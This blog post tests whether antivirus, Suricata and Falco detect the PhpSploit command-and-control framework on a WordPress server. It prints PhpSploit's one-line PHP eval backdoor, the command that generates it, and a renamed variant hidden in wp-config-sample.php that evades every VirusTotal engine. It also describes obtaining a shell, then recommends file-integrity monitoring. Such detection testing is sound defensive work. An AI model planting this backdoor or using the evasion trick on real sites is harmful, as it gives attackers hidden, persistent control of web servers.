As many of you know, WordPress is written in PHP. Finding backdoors in PHP and WordPress code can be quite tricky and sometimes almost impossible: Since backdoors could be hidden anywhere in the code and look like regular code with human coding errors, and a regular installation of WordPress consists of about 432,709 lines of PHP-code.
So instead of reading all the code and looking for backdoors we could use automated tools like antivirus-software, and a popular open source antivirus software is ClamAV.
Today we are going to test the offensive Command and Control (C2) software Phpsploit, described as below from their Github page:
PhpSploit is a remote control framework, aiming to provide a stealth interactive shell-like connection over HTTP between client and web server. It is a post-exploitation tool capable to maintain access to a compromised web server for privilege escalation purposes.
When running Phpsploit and generating a standard backdoor to place in WordPress or PHP-code it looks like this:
<?php @eval($_SERVER[‘HTTP_PHPSPL01T’]); ?>
The above code can be generated by running the following command:
./phpsploit --interactive --eval "backdoor"
And if we insert this little eval-code snippet into a WordPress php-file and then upload the file to VirusTotal the detection rate looks like this for the 58 different antivirus-scanners currently online:
Just one hit and it is ClamAV detecting the backdoor as Php.Trojan.PhpSploit-7157376-0.
If we then run phpsploit again and set another PASSKEY like this:
The backdoor code also looks different:
<?php @eval($_SERVER[‘HTTP_LFN2DZLOE’]); ?>
And then if we use this code and we hide it in wp-config-sample.php and upload the code to VirusTotal again:
Great! We are now bypassing all known malware engines listed at VirusTotal by making a small change. Installing the backdoor is outside of this blog post, but it could be a vulnerable version of a plugin (as one of many examples).
As soon as the backdoor is in place, we can use the backdoor with set TARGET and exploit and then obtain a shell:
Great. We can now start to do local Linux reconnaissance in order to find user escalation vulnerabilities with commands like whoami, ls and pwd:
When looking at the network level the PHP-code being sent over the wire is looking like below. And should be quite easy to trigger IDS alerts at network level since PHP-code like eval and base64_decode should not be a part of a http-header. This can also of course be changed in Phpsploit by using the command set REQ_HEADER_PAYLOAD.
But running Suricata with updated rules found nothing:
Even with small modifications of the PHP-backdoor code provided by Phpsploit it is hard for antivirus software to find the backdoor. The best defense to this is to monitor all changes in the www-folder with open-source tools like OSSEC or Wazuh.
When running Sysdig Falco and running Phpsploit the following log entry shows up, “Debug Shell spawned by untrusted binary”
syslog:Mar 23 17:18:04 vagrant falco: 17:18:04.781532982: Debug Shell spawned by untrusted binary (user=vagrant shell=sh parent=apache2 cmdline=sh -c echo $HOME pcmdline=apache2 -k start gparent=apache2 ggparent=systemd aname=<NA> aname=<NA> aname=<NA> aname=<NA> container_id=host image=<NA>)